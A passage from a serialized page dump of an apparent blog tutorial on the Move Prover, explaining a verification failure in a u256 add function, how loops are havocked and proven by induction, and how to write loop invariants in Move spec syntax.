`",{"type":24,"tag":271,"props":18079,"children":18080},{"style":598},[18081],{"type":29,"value":16040},{"type":24,"tag":271,"props":18083,"children":18084},{"style":378},[18085],{"type":29,"value":18086},"`",{"type":24,"tag":271,"props":18088,"children":18089},{"style":598},[18090],{"type":29,"value":18091}," clauses\n",{"type":24,"tag":271,"props":18093,"children":18094},{"class":273,"line":303},[18095,18100,18105,18109],{"type":24,"tag":271,"props":18096,"children":18097},{"style":598},[18098],{"type":29,"value":18099},"╭",{"type":24,"tag":271,"props":18101,"children":18102},{"style":378},[18103],{"type":29,"value":18104}," spec",{"type":24,"tag":271,"props":18106,"children":18107},{"style":378},[18108],{"type":29,"value":17288},{"type":24,"tag":271,"props":18110,"children":18111},{"style":378},[18112],{"type":29,"value":7145},{"type":24,"tag":271,"props":18114,"children":18115},{"class":273,"line":312},[18116,18120,18125,18129,18133,18137,18141,18145,18149,18153,18157,18161,18166,18170,18174,18178,18182,18186,18190,18194,18198],{"type":24,"tag":271,"props":18117,"children":18118},{"style":624},[18119],{"type":29,"value":4076},{"type":24,"tag":271,"props":18121,"children":18122},{"style":598},[18123],{"type":29,"value":18124}," aborts_if",{"type":24,"tag":271,"props":18126,"children":18127},{"style":378},[18128],{"type":29,"value":17409},{"type":24,"tag":271,"props":18130,"children":18131},{"style":288},[18132],{"type":29,"value":606},{"type":24,"tag":271,"props":18134,"children":18135},{"style":598},[18136],{"type":29,"value":32},{"type":24,"tag":271,"props":18138,"children":18139},{"style":288},[18140],{"type":29,"value":8823},{"type":24,"tag":271,"props":18142,"children":18143},{"style":378},[18144],{"type":29,"value":1012},{"type":24,"tag":271,"props":18146,"children":18147},{"style":378},[18148],{"type":29,"value":17409},{"type":24,"tag":271,"props":18150,"children":18151},{"style":288},[18152],{"type":29,"value":606},{"type":24,"tag":271,"props":18154,"children":18155},{"style":598},[18156],{"type":29,"value":10954},{"type":24,"tag":271,"props":18158,"children":18159},{"style":288},[18160],{"type":29,"value":8823},{"type":24,"tag":271,"props":18162,"children":18163},{"style":624},[18164],{"type":29,"value":18165},">",{"type":24,"tag":271,"props":18167,"children":18168},{"style":378},[18169],{"type":29,"value":762},{"type":24,"tag":271,"props":18171,"children":18172},{"style":378},[18173],{"type":29,"value":17365},{"type":24,"tag":271,"props":18175,"children":18176},{"style":278},[18177],{"type":29,"value":3895},{"type":24,"tag":271,"props":18179,"children":18180},{"style":378},[18181],{"type":29,"value":17365},{"type":24,"tag":271,"props":18183,"children":18184},{"style":278},[18185],{"type":29,"value":3895},{"type":24,"tag":271,"props":18187,"children":18188},{"style":378},[18189],{"type":29,"value":17365},{"type":24,"tag":271,"props":18191,"children":18192},{"style":278},[18193],{"type":29,"value":3895},{"type":24,"tag":271,"props":18195,"children":18196},{"style":378},[18197],{"type":29,"value":17365},{"type":24,"tag":271,"props":18199,"children":18200},{"style":288},[18201],{"type":29,"value":1069},{"type":24,"tag":271,"props":18203,"children":18204},{"class":273,"line":321},[18205,18209,18214,18218,18222,18226,18230,18234,18238,18242,18246,18250,18254,18258,18262,18266],{"type":24,"tag":271,"props":18206,"children":18207},{"style":624},[18208],{"type":29,"value":4076},{"type":24,"tag":271,"props":18210,"children":18211},{"style":598},[18212],{"type":29,"value":18213}," ensures",{"type":24,"tag":271,"props":18215,"children":18216},{"style":378},[18217],{"type":29,"value":17409},{"type":24,"tag":271,"props":18219,"children":18220},{"style":288},[18221],{"type":29,"value":606},{"type":24,"tag":271,"props":18223,"children":18224},{"style":598},[18225],{"type":29,"value":16793},{"type":24,"tag":271,"props":18227,"children":18228},{"style":288},[18229],{"type":29,"value":8823},{"type":24,"tag":271,"props":18231,"children":18232},{"style":378},[18233],{"type":29,"value":5059},{"type":24,"tag":271,"props":18235,"children":18236},{"style":378},[18237],{"type":29,"value":17409},{"type":24,"tag":271,"props":18239,"children":18240},{"style":288},[18241],{"type":29,"value":606},{"type":24,"tag":271,"props":18243,"children":18244},{"style":598},[18245],{"type":29,"value":32},{"type":24,"tag":271,"props":18247,"children":18248},{"style":288},[18249],{"type":29,"value":8823},{"type":24,"tag":271,"props":18251,"children":18252},{"style":378},[18253],{"type":29,"value":1012},{"type":24,"tag":271,"props":18255,"children":18256},{"style":378},[18257],{"type":29,"value":17409},{"type":24,"tag":271,"props":18259,"children":18260},{"style":288},[18261],{"type":29,"value":606},{"type":24,"tag":271,"props":18263,"children":18264},{"style":598},[18265],{"type":29,"value":10954},{"type":24,"tag":271,"props":18267,"children":18268},{"style":288},[18269],{"type":29,"value":1155},{"type":24,"tag":271,"props":18271,"children":18272},{"class":273,"line":330},[18273,18277],{"type":24,"tag":271,"props":18274,"children":18275},{"style":624},[18276],{"type":29,"value":4076},{"type":24,"tag":271,"props":18278,"children":18279},{"style":288},[18280],{"type":29,"value":18281}," }\n",{"type":24,"tag":271,"props":18283,"children":18284},{"class":273,"line":339},[18285],{"type":24,"tag":271,"props":18286,"children":18287},{"style":598},[18288],{"type":29,"value":18289},"╰─────^\n",{"type":24,"tag":271,"props":18291,"children":18292},{"class":273,"line":347},[18293],{"type":24,"tag":271,"props":18294,"children":18295},{"emptyLinePlaceholder":16},[18296],{"type":29,"value":327},{"type":24,"tag":271,"props":18298,"children":18299},{"class":273,"line":356},[18300],{"type":24,"tag":271,"props":18301,"children":18302},{"style":288},[18303],{"type":29,"value":1690},{"type":24,"tag":271,"props":18305,"children":18306},{"class":273,"line":365},[18307],{"type":24,"tag":271,"props":18308,"children":18309},{"emptyLinePlaceholder":16},[18310],{"type":29,"value":327},{"type":24,"tag":271,"props":18312,"children":18313},{"class":273,"line":374},[18314,18319,18324],{"type":24,"tag":271,"props":18315,"children":18316},{"style":598},[18317],{"type":29,"value":18318}," at",{"type":24,"tag":271,"props":18320,"children":18321},{"style":378},[18322],{"type":29,"value":18323}," ./sources/u256.move:316:",{"type":24,"tag":271,"props":18325,"children":18326},{"style":378},[18327],{"type":29,"value":18328}," add\n",{"type":24,"tag":271,"props":18330,"children":18331},{"class":273,"line":384},[18332,18337,18342,18347,18351,18356,18360,18365,18370,18375,18380,18385],{"type":24,"tag":271,"props":18333,"children":18334},{"style":598},[18335],{"type":29,"value":18336}," enter",{"type":24,"tag":271,"props":18338,"children":18339},{"style":378},[18340],{"type":29,"value":18341}," loop,",{"type":24,"tag":271,"props":18343,"children":18344},{"style":378},[18345],{"type":29,"value":18346}," variable",{"type":24,"tag":271,"props":18348,"children":18349},{"style":288},[18350],{"type":29,"value":606},{"type":24,"tag":271,"props":18352,"children":18353},{"style":598},[18354],{"type":29,"value":18355},"s",{"type":24,"tag":271,"props":18357,"children":18358},{"style":288},[18359],{"type":29,"value":8823},{"type":24,"tag":271,"props":18361,"children":18362},{"style":378},[18363],{"type":29,"value":18364},"carry,",{"type":24,"tag":271,"props":18366,"children":18367},{"style":378},[18368],{"type":29,"value":18369}," i,",{"type":24,"tag":271,"props":18371,"children":18372},{"style":378},[18373],{"type":29,"value":18374}," ret",{"type":24,"tag":271,"props":18376,"children":18377},{"style":378},[18378],{"type":29,"value":18379}," havocked",{"type":24,"tag":271,"props":18381,"children":18382},{"style":378},[18383],{"type":29,"value":18384}," and",{"type":24,"tag":271,"props":18386,"children":18387},{"style":378},[18388],{"type":29,"value":18389}," reassigned\n",{"type":24,"tag":271,"props":18391,"children":18392},{"class":273,"line":393},[18393,18398,18402],{"type":24,"tag":271,"props":18394,"children":18395},{"style":598},[18396],{"type":29,"value":18397}," carry",{"type":24,"tag":271,"props":18399,"children":18400},{"style":378},[18401],{"type":29,"value":1712},{"type":24,"tag":271,"props":18403,"children":18404},{"style":477},[18405],{"type":29,"value":18406}," 54\n",{"type":24,"tag":271,"props":18408,"children":18409},{"class":273,"line":402},[18410,18415,18419],{"type":24,"tag":271,"props":18411,"children":18412},{"style":598},[18413],{"type":29,"value":18414}," i",{"type":24,"tag":271,"props":18416,"children":18417},{"style":378},[18418],{"type":29,"value":1712},{"type":24,"tag":271,"props":18420,"children":18421},{"style":477},[18422],{"type":29,"value":18423}," 3792\n",{"type":24,"tag":271,"props":18425,"children":18426},{"class":273,"line":411},[18427,18432,18436,18441,18445,18450,18455,18459,18464,18469,18473,18478,18483,18487,18492],{"type":24,"tag":271,"props":18428,"children":18429},{"style":598},[18430],{"type":29,"value":18431}," ret",{"type":24,"tag":271,"props":18433,"children":18434},{"style":378},[18435],{"type":29,"value":1712},{"type":24,"tag":271,"props":18437,"children":18438},{"style":378},[18439],{"type":29,"value":18440}," u256.U256{v0",{"type":24,"tag":271,"props":18442,"children":18443},{"style":378},[18444],{"type":29,"value":1712},{"type":24,"tag":271,"props":18446,"children":18447},{"style":378},[18448],{"type":29,"value":18449}," 26418,",{"type":24,"tag":271,"props":18451,"children":18452},{"style":378},[18453],{"type":29,"value":18454}," v1",{"type":24,"tag":271,"props":18456,"children":18457},{"style":378},[18458],{"type":29,"value":1712},{"type":24,"tag":271,"props":18460,"children":18461},{"style":378},[18462],{"type":29,"value":18463}," 27938,",{"type":24,"tag":271,"props":18465,"children":18466},{"style":378},[18467],{"type":29,"value":18468}," v2",{"type":24,"tag":271,"props":18470,"children":18471},{"style":378},[18472],{"type":29,"value":1712},{"type":24,"tag":271,"props":18474,"children":18475},{"style":378},[18476],{"type":29,"value":18477}," 6900,",{"type":24,"tag":271,"props":18479,"children":18480},{"style":378},[18481],{"type":29,"value":18482}," v3",{"type":24,"tag":271,"props":18484,"children":18485},{"style":378},[18486],{"type":29,"value":1712},{"type":24,"tag":271,"props":18488,"children":18489},{"style":477},[18490],{"type":29,"value":18491}," 1999",{"type":24,"tag":271,"props":18493,"children":18494},{"style":378},[18495],{"type":29,"value":1171},{"type":24,"tag":271,"props":18497,"children":18498},{"class":273,"line":420},[18499,18503,18508],{"type":24,"tag":271,"props":18500,"children":18501},{"style":598},[18502],{"type":29,"value":18318},{"type":24,"tag":271,"props":18504,"children":18505},{"style":378},[18506],{"type":29,"value":18507}," ./sources/u256.move:346:",{"type":24,"tag":271,"props":18509,"children":18510},{"style":378},[18511],{"type":29,"value":18328},{"type":24,"tag":271,"props":18513,"children":18514},{"class":273,"line":429},[18515],{"type":24,"tag":271,"props":18516,"children":18517},{"style":598},[18518],{"type":29,"value":18519}," ABORTED\n",{"type":24,"tag":271,"props":18521,"children":18522},{"class":273,"line":438},[18523],{"type":24,"tag":271,"props":18524,"children":18525},{"emptyLinePlaceholder":16},[18526],{"type":29,"value":327},{"type":24,"tag":271,"props":18528,"children":18529},{"class":273,"line":447},[18530,18535,18540,18544,18549,18554,18559,18563,18568,18572],{"type":24,"tag":271,"props":18531,"children":18532},{"style":598},[18533],{"type":29,"value":18534},"FAILURE",{"type":24,"tag":271,"props":18536,"children":18537},{"style":378},[18538],{"type":29,"value":18539}," proving",{"type":24,"tag":271,"props":18541,"children":18542},{"style":477},[18543],{"type":29,"value":824},{"type":24,"tag":271,"props":18545,"children":18546},{"style":378},[18547],{"type":29,"value":18548}," modules",{"type":24,"tag":271,"props":18550,"children":18551},{"style":378},[18552],{"type":29,"value":18553}," from",{"type":24,"tag":271,"props":18555,"children":18556},{"style":378},[18557],{"type":29,"value":18558}," package",{"type":24,"tag":271,"props":18560,"children":18561},{"style":378},[18562],{"type":29,"value":18077},{"type":24,"tag":271,"props":18564,"children":18565},{"style":598},[18566],{"type":29,"value":18567},"u256",{"type":24,"tag":271,"props":18569,"children":18570},{"style":378},[18571],{"type":29,"value":18086},{"type":24,"tag":271,"props":18573,"children":18574},{"style":288},[18575],{"type":29,"value":18576}," in 9.143s\n",{"type":24,"tag":271,"props":18578,"children":18579},{"class":273,"line":455},[18580],{"type":24,"tag":271,"props":18581,"children":18582},{"style":288},[18583],{"type":29,"value":702},{"type":24,"tag":271,"props":18585,"children":18586},{"class":273,"line":464},[18587,18592,18596],{"type":24,"tag":271,"props":18588,"children":18589},{"style":598},[18590],{"type":29,"value":18591}," \"Error\"",{"type":24,"tag":271,"props":18593,"children":18594},{"style":598},[18595],{"type":29,"value":12210},{"type":24,"tag":271,"props":18597,"children":18598},{"style":378},[18599],{"type":29,"value":18600}," \"Move Prover failed: exiting with verification errors\"\n",{"type":24,"tag":271,"props":18602,"children":18603},{"class":273,"line":473},[18604],{"type":24,"tag":271,"props":18605,"children":18606},{"style":288},[18607],{"type":29,"value":1171},{"type":24,"tag":25,"props":18609,"children":18610},{},[18611,18613,18618],{"type":29,"value":18612},"The prover is telling us that proving failed because the abort was not covered by our ",{"type":24,"tag":135,"props":18614,"children":18616},{"className":18615},[],[18617],{"type":29,"value":16040},{"type":29,"value":18619}," clauses. But there is no other abort situation that we have to cover, right?",{"type":24,"tag":25,"props":18621,"children":18622},{},[18623,18625,18631],{"type":29,"value":18624},"If we keep reading the error output, we will encounter the somewhat cryptic message: ",{"type":24,"tag":135,"props":18626,"children":18628},{"className":18627},[],[18629],{"type":29,"value":18630},"ret havocked and reassigned",{"type":29,"value":41},{"type":24,"tag":25,"props":18633,"children":18634},{},[18635],{"type":29,"value":18636},"What does this mean?",{"type":24,"tag":25,"props":18638,"children":18639},{},[18640,18642,18649],{"type":29,"value":18641},"By diving into the Move Prover source, we find a ",{"type":24,"tag":32,"props":18643,"children":18646},{"href":18644,"rel":18645},"https://github.com/move-language/move/blob/e0dafc5cf3efe4c4e61411f10cdf0f379a36673c/language/move-prover/bytecode/src/loop_analysis.rs#L94",[36],[18647],{"type":29,"value":18648},"likely suspect",{"type":29,"value":18650},". The prover attempts to prove all loops with induction!",{"type":24,"tag":25,"props":18652,"children":18653},{},[18654],{"type":29,"value":18655},"More formally, it will translate the loop into two key steps, following the classic steps of a proof by induction",{"type":24,"tag":3834,"props":18657,"children":18658},{},[18659,18664],{"type":24,"tag":101,"props":18660,"children":18661},{},[18662],{"type":29,"value":18663},"Base Case: Asserting the loop invariant holds at the start of loop execution",{"type":24,"tag":101,"props":18665,"children":18666},{},[18667],{"type":29,"value":18668},"Inductive Step: Assume the invariant, execute the loop body, and assert that the invariant still holds",{"type":24,"tag":25,"props":18670,"children":18671},{},[18672,18674,18679,18681,18687,18688,18694,18695,18700,18702,18707],{"type":29,"value":18673},"The loop prover will also ",{"type":24,"tag":213,"props":18675,"children":18676},{},[18677],{"type":29,"value":18678},"havoc, or assign random values to, all variables written to inside the loop",{"type":29,"value":18680},". Going back to the log message, this implies that the variables ",{"type":24,"tag":135,"props":18682,"children":18684},{"className":18683},[],[18685],{"type":29,"value":18686},"carry",{"type":29,"value":158},{"type":24,"tag":135,"props":18689,"children":18691},{"className":18690},[],[18692],{"type":29,"value":18693},"ret",{"type":29,"value":518},{"type":24,"tag":135,"props":18696,"children":18698},{"className":18697},[],[18699],{"type":29,"value":11462},{"type":29,"value":18701}," have been havocked, or assigned random values. This also explains why the input and output of ",{"type":24,"tag":135,"props":18703,"children":18705},{"className":18704},[],[18706],{"type":29,"value":17344},{"type":29,"value":18708}," makes no sense.",{"type":24,"tag":25,"props":18710,"children":18711},{},[18712],{"type":29,"value":18713},"More concretely, the loop analysis translates into the following steps.",{"type":24,"tag":3834,"props":18715,"children":18716},{},[18717,18722,18727,18732,18737,18742],{"type":24,"tag":101,"props":18718,"children":18719},{},[18720],{"type":29,"value":18721},"Assert the loop invariant",{"type":24,"tag":101,"props":18723,"children":18724},{},[18725],{"type":29,"value":18726},"Havoc all modified variables",{"type":24,"tag":101,"props":18728,"children":18729},{},[18730],{"type":29,"value":18731},"Assume the loop invariant",{"type":24,"tag":101,"props":18733,"children":18734},{},[18735],{"type":29,"value":18736},"Assume the loop guard (the code inside the while condition)",{"type":24,"tag":101,"props":18738,"children":18739},{},[18740],{"type":29,"value":18741},"Run the loop body",{"type":24,"tag":101,"props":18743,"children":18744},{},[18745],{"type":29,"value":18721},{"type":24,"tag":25,"props":18747,"children":18748},{},[18749],{"type":29,"value":18750},"There are two approaches to dealing with loops.",{"type":24,"tag":25,"props":18752,"children":18753},{},[18754],{"type":29,"value":18755},"The first would be to specify a loop invariant.",{"type":24,"tag":25,"props":18757,"children":18758},{},[18759,18761,18768],{"type":29,"value":18760},"In order to specify the loop invariant, we need to use some special syntax, as we explored briefly in our ",{"type":24,"tag":32,"props":18762,"children":18765},{"href":18763,"rel":18764},"https://osec.io/blog/tutorials/2022-09-06-move-introduction/",[36],[18766],{"type":29,"value":18767},"previous post",{"type":29,"value":41},{"type":24,"tag":261,"props":18770,"children":18772},{"code":18771,"language":10717,"meta":7,"className":10718,"style":7}," while ({\n spec {\n invariant len(amounts_times_coins) == i;\n invariant i \u003C= n_coins;\n invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n };\n (i \u003C n_coins)\n }) {\n vector::push_back(\n &mut amounts_times_coins,\n (*vector::borrow(&input, (i as u64)) as u128) * (n_coins as u128)\n );\n i = i + 1;\n };\n",[18773],{"type":24,"tag":135,"props":18774,"children":18775},{"__ignoreMap":7},[18776,18788,18799,18835,18858,18941,18948,18972,18980,19000,19020,19111,19118,19146],{"type":24,"tag":271,"props":18777,"children":18778},{"class":273,"line":274},[18779,18784],{"type":24,"tag":271,"props":18780,"children":18781},{"style":749},[18782],{"type":29,"value":18783}," while",{"type":24,"tag":271,"props":18785,"children":18786},{"style":288},[18787],{"type":29,"value":16248},{"type":24,"tag":271,"props":18789,"children":18790},{"class":273,"line":284},[18791,18795],{"type":24,"tag":271,"props":18792,"children":18793},{"style":630},[18794],{"type":29,"value":16641},{"type":24,"tag":271,"props":18796,"children":18797},{"style":288},[18798],{"type":29,"value":7145},{"type":24,"tag":271,"props":18800,"children":18801},{"class":273,"line":294},[18802,18807,18811,18815,18819,18823,18827,18831],{"type":24,"tag":271,"props":18803,"children":18804},{"style":630},[18805],{"type":29,"value":18806}," invariant",{"type":24,"tag":271,"props":18808,"children":18809},{"style":598},[18810],{"type":29,"value":16273},{"type":24,"tag":271,"props":18812,"children":18813},{"style":288},[18814],{"type":29,"value":606},{"type":24,"tag":271,"props":18816,"children":18817},{"style":630},[18818],{"type":29,"value":16282},{"type":24,"tag":271,"props":18820,"children":18821},{"style":288},[18822],{"type":29,"value":8823},{"type":24,"tag":271,"props":18824,"children":18825},{"style":624},[18826],{"type":29,"value":5059},{"type":24,"tag":271,"props":18828,"children":18829},{"style":630},[18830],{"type":29,"value":11125},{"type":24,"tag":271,"props":18832,"children":18833},{"style":288},[18834],{"type":29,"value":1069},{"type":24,"tag":271,"props":18836,"children":18837},{"class":273,"line":303},[18838,18842,18846,18850,18854],{"type":24,"tag":271,"props":18839,"children":18840},{"style":630},[18841],{"type":29,"value":18806},{"type":24,"tag":271,"props":18843,"children":18844},{"style":630},[18845],{"type":29,"value":11125},{"type":24,"tag":271,"props":18847,"children":18848},{"style":624},[18849],{"type":29,"value":15912},{"type":24,"tag":271,"props":18851,"children":18852},{"style":630},[18853],{"type":29,"value":16202},{"type":24,"tag":271,"props":18855,"children":18856},{"style":288},[18857],{"type":29,"value":1069},{"type":24,"tag":271,"props":18859,"children":18860},{"class":273,"line":312},[18861,18865,18869,18873,18877,18881,18885,18889,18893,18897,18901,18905,18909,18913,18917,18921,18925,18929,18933,18937],{"type":24,"tag":271,"props":18862,"children":18863},{"style":630},[18864],{"type":29,"value":18806},{"type":24,"tag":271,"props":18866,"children":18867},{"style":630},[18868],{"type":29,"value":16333},{"type":24,"tag":271,"props":18870,"children":18871},{"style":630},[18872],{"type":29,"value":8380},{"type":24,"tag":271,"props":18874,"children":18875},{"style":278},[18876],{"type":29,"value":10778},{"type":24,"tag":271,"props":18878,"children":18879},{"style":477},[18880],{"type":29,"value":767},{"type":24,"tag":271,"props":18882,"children":18883},{"style":624},[18884],{"type":29,"value":10787},{"type":24,"tag":271,"props":18886,"children":18887},{"style":630},[18888],{"type":29,"value":11462},{"type":24,"tag":271,"props":18890,"children":18891},{"style":624},[18892],{"type":29,"value":12210},{"type":24,"tag":271,"props":18894,"children":18895},{"style":630},[18896],{"type":29,"value":16137},{"type":24,"tag":271,"props":18898,"children":18899},{"style":288},[18900],{"type":29,"value":4520},{"type":24,"tag":271,"props":18902,"children":18903},{"style":630},[18904],{"type":29,"value":16370},{"type":24,"tag":271,"props":18906,"children":18907},{"style":288},[18908],{"type":29,"value":4530},{"type":24,"tag":271,"props":18910,"children":18911},{"style":624},[18912],{"type":29,"value":5059},{"type":24,"tag":271,"props":18914,"children":18915},{"style":630},[18916],{"type":29,"value":16383},{"type":24,"tag":271,"props":18918,"children":18919},{"style":288},[18920],{"type":29,"value":4520},{"type":24,"tag":271,"props":18922,"children":18923},{"style":630},[18924],{"type":29,"value":16370},{"type":24,"tag":271,"props":18926,"children":18927},{"style":288},[18928],{"type":29,"value":4530},{"type":24,"tag":271,"props":18930,"children":18931},{"style":624},[18932],{"type":29,"value":627},{"type":24,"tag":271,"props":18934,"children":18935},{"style":630},[18936],{"type":29,"value":16202},{"type":24,"tag":271,"props":18938,"children":18939},{"style":288},[18940],{"type":29,"value":1069},{"type":24,"tag":271,"props":18942,"children":18943},{"class":273,"line":321},[18944],{"type":24,"tag":271,"props":18945,"children":18946},{"style":288},[18947],{"type":29,"value":16633},{"type":24,"tag":271,"props":18949,"children":18950},{"class":273,"line":330},[18951,18956,18960,18964,18968],{"type":24,"tag":271,"props":18952,"children":18953},{"style":288},[18954],{"type":29,"value":18955}," (",{"type":24,"tag":271,"props":18957,"children":18958},{"style":630},[18959],{"type":29,"value":11462},{"type":24,"tag":271,"props":18961,"children":18962},{"style":624},[18963],{"type":29,"value":16432},{"type":24,"tag":271,"props":18965,"children":18966},{"style":630},[18967],{"type":29,"value":16202},{"type":24,"tag":271,"props":18969,"children":18970},{"style":288},[18971],{"type":29,"value":694},{"type":24,"tag":271,"props":18973,"children":18974},{"class":273,"line":339},[18975],{"type":24,"tag":271,"props":18976,"children":18977},{"style":288},[18978],{"type":29,"value":18979}," }) {\n",{"type":24,"tag":271,"props":18981,"children":18982},{"class":273,"line":347},[18983,18988,18992,18996],{"type":24,"tag":271,"props":18984,"children":18985},{"style":288},[18986],{"type":29,"value":18987}," vector",{"type":24,"tag":271,"props":18989,"children":18990},{"style":624},[18991],{"type":29,"value":11207},{"type":24,"tag":271,"props":18993,"children":18994},{"style":598},[18995],{"type":29,"value":16465},{"type":24,"tag":271,"props":18997,"children":18998},{"style":288},[18999],{"type":29,"value":4028},{"type":24,"tag":271,"props":19001,"children":19002},{"class":273,"line":356},[19003,19008,19012,19016],{"type":24,"tag":271,"props":19004,"children":19005},{"style":624},[19006],{"type":29,"value":19007}," &",{"type":24,"tag":271,"props":19009,"children":19010},{"style":278},[19011],{"type":29,"value":11448},{"type":24,"tag":271,"props":19013,"children":19014},{"style":630},[19015],{"type":29,"value":16137},{"type":24,"tag":271,"props":19017,"children":19018},{"style":288},[19019],{"type":29,"value":638},{"type":24,"tag":271,"props":19021,"children":19022},{"class":273,"line":365},[19023,19027,19031,19035,19039,19043,19047,19051,19055,19059,19063,19067,19071,19075,19079,19083,19087,19091,19095,19099,19103,19107],{"type":24,"tag":271,"props":19024,"children":19025},{"style":288},[19026],{"type":29,"value":16423},{"type":24,"tag":271,"props":19028,"children":19029},{"style":624},[19030],{"type":29,"value":627},{"type":24,"tag":271,"props":19032,"children":19033},{"style":288},[19034],{"type":29,"value":16506},{"type":24,"tag":271,"props":19036,"children":19037},{"style":624},[19038],{"type":29,"value":11207},{"type":24,"tag":271,"props":19040,"children":19041},{"style":598},[19042],{"type":29,"value":16515},{"type":24,"tag":271,"props":19044,"children":19045},{"style":288},[19046],{"type":29,"value":606},{"type":24,"tag":271,"props":19048,"children":19049},{"style":624},[19050],{"type":29,"value":1137},{"type":24,"tag":271,"props":19052,"children":19053},{"style":630},[19054],{"type":29,"value":16082},{"type":24,"tag":271,"props":19056,"children":19057},{"style":288},[19058],{"type":29,"value":16532},{"type":24,"tag":271,"props":19060,"children":19061},{"style":630},[19062],{"type":29,"value":11462},{"type":24,"tag":271,"props":19064,"children":19065},{"style":278},[19066],{"type":29,"value":16541},{"type":24,"tag":271,"props":19068,"children":19069},{"style":3887},[19070],{"type":29,"value":13576},{"type":24,"tag":271,"props":19072,"children":19073},{"style":288},[19074],{"type":29,"value":16550},{"type":24,"tag":271,"props":19076,"children":19077},{"style":278},[19078],{"type":29,"value":16555},{"type":24,"tag":271,"props":19080,"children":19081},{"style":3887},[19082],{"type":29,"value":16560},{"type":24,"tag":271,"props":19084,"children":19085},{"style":288},[19086],{"type":29,"value":8823},{"type":24,"tag":271,"props":19088,"children":19089},{"style":624},[19090],{"type":29,"value":627},{"type":24,"tag":271,"props":19092,"children":19093},{"style":288},[19094],{"type":29,"value":1357},{"type":24,"tag":271,"props":19096,"children":19097},{"style":630},[19098],{"type":29,"value":16577},{"type":24,"tag":271,"props":19100,"children":19101},{"style":278},[19102],{"type":29,"value":16541},{"type":24,"tag":271,"props":19104,"children":19105},{"style":3887},[19106],{"type":29,"value":16560},{"type":24,"tag":271,"props":19108,"children":19109},{"style":288},[19110],{"type":29,"value":694},{"type":24,"tag":271,"props":19112,"children":19113},{"class":273,"line":374},[19114],{"type":24,"tag":271,"props":19115,"children":19116},{"style":288},[19117],{"type":29,"value":14483},{"type":24,"tag":271,"props":19119,"children":19120},{"class":273,"line":384},[19121,19126,19130,19134,19138,19142],{"type":24,"tag":271,"props":19122,"children":19123},{"style":630},[19124],{"type":29,"value":19125}," i",{"type":24,"tag":271,"props":19127,"children":19128},{"style":624},[19129],{"type":29,"value":1712},{"type":24,"tag":271,"props":19131,"children":19132},{"style":630},[19133],{"type":29,"value":11125},{"type":24,"tag":271,"props":19135,"children":19136},{"style":624},[19137],{"type":29,"value":4253},{"type":24,"tag":271,"props":19139,"children":19140},{"style":477},[19141],{"type":29,"value":824},{"type":24,"tag":271,"props":19143,"children":19144},{"style":288},[19145],{"type":29,"value":1069},{"type":24,"tag":271,"props":19147,"children":19148},{"class":273,"line":393},[19149],{"type":24,"tag":271,"props":19150,"children":19151},{"style":288},[19152],{"type":29,"value":19153}," };\n",{"type":24,"tag":25,"props":19155,"children":19156},{},[19157,19159,19165,19167,19172,19174,19180],{"type":29,"value":19158},"In this case, the brackets specify the loop invariant for the ",{"type":24,"tag":135,"props":19160,"children":19162},{"className":19161},[],[19163],{"type":29,"value":19164},"while",{"type":29,"value":19166}," loop. Note that because the loop invariant executes ",{"type":24,"tag":10648,"props":19168,"children":19169},{},[19170],{"type":29,"value":19171},"after",{"type":29,"value":19173}," the loop guard, so we need to account for an extra step with ",{"type":24,"tag":135,"props":19175,"children":19177},{"className":19176},[],[19178],{"type":29,"value":19179},"i \u003C= n_coins",{"type":29,"value":41},{"type":24,"tag":261,"props":19182,"children":19184},{"code":19183,"language":10717,"meta":7,"className":10718,"style":7}," while ({\n spec {\n invariant len(amounts_times_coins) == i;\n invariant i \u003C= n_coins;\n invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n };\n (i \u003C n_coins)\n }) {\n",[19185],{"type":24,"tag":135,"props":19186,"children":19187},{"__ignoreMap":7},[19188,19199,19210,19245,19268,19351,19358,19381],{"type":24,"tag":271,"props":19189,"children":19190},{"class":273,"line":274},[19191,19195],{"type":24,"tag":271,"props":19192,"children":19193},{"style":749},[19194],{"type":29,"value":18783},{"type":24,"tag":271,"props":19196,"children":19197},{"style":288},[19198],{"type":29,"value":16248},{"type":24,"tag":271,"props":19200,"children":19201},{"class":273,"line":284},[19202,19206],{"type":24,"tag":271,"props":19203,"children":19204},{"style":630},[19205],{"type":29,"value":16641},{"type":24,"tag":271,"props":19207,"children":19208},{"style":288},[19209],{"type":29,"value":7145},{"type":24,"tag":271,"props":19211,"children":19212},{"class":273,"line":294},[19213,19217,19221,19225,19229,19233,19237,19241],{"type":24,"tag":271,"props":19214,"children":19215},{"style":630},[19216],{"type":29,"value":18806},{"type":24,"tag":271,"props":19218,"children":19219},{"style":598},[19220],{"type":29,"value":16273},{"type":24,"tag":271,"props":19222,"children":19223},{"style":288},[19224],{"type":29,"value":606},{"type":24,"tag":271,"props":19226,"children":19227},{"style":630},[19228],{"type":29,"value":16282},{"type":24,"tag":271,"props":19230,"children":19231},{"style":288},[19232],{"type":29,"value":8823},{"type":24,"tag":271,"props":19234,"children":19235},{"style":624},[19236],{"type":29,"value":5059},{"type":24,"tag":271,"props":19238,"children":19239},{"style":630},[19240],{"type":29,"value":11125},{"type":24,"tag":271,"props":19242,"children":19243},{"style":288},[19244],{"type":29,"value":1069},{"type":24,"tag":271,"props":19246,"children":19247},{"class":273,"line":303},[19248,19252,19256,19260,19264],{"type":24,"tag":271,"props":19249,"children":19250},{"style":630},[19251],{"type":29,"value":18806},{"type":24,"tag":271,"props":19253,"children":19254},{"style":630},[19255],{"type":29,"value":11125},{"type":24,"tag":271,"props":19257,"children":19258},{"style":624},[19259],{"type":29,"value":15912},{"type":24,"tag":271,"props":19261,"children":19262},{"style":630},[19263],{"type":29,"value":16202},{"type":24,"tag":271,"props":19265,"children":19266},{"style":288},[19267],{"type":29,"value":1069},{"type":24,"tag":271,"props":19269,"children":19270},{"class":273,"line":312},[19271,19275,19279,19283,19287,19291,19295,19299,19303,19307,19311,19315,19319,19323,19327,19331,19335,19339,19343,19347],{"type":24,"tag":271,"props":19272,"children":19273},{"style":630},[19274],{"type":29,"value":18806},{"type":24,"tag":271,"props":19276,"children":19277},{"style":630},[19278],{"type":29,"value":16333},{"type":24,"tag":271,"props":19280,"children":19281},{"style":630},[19282],{"type":29,"value":8380},{"type":24,"tag":271,"props":19284,"children":19285},{"style":278},[19286],{"type":29,"value":10778},{"type":24,"tag":271,"props":19288,"children":19289},{"style":477},[19290],{"type":29,"value":767},{"type":24,"tag":271,"props":19292,"children":19293},{"style":624},[19294],{"type":29,"value":10787},{"type":24,"tag":271,"props":19296,"children":19297},{"style":630},[1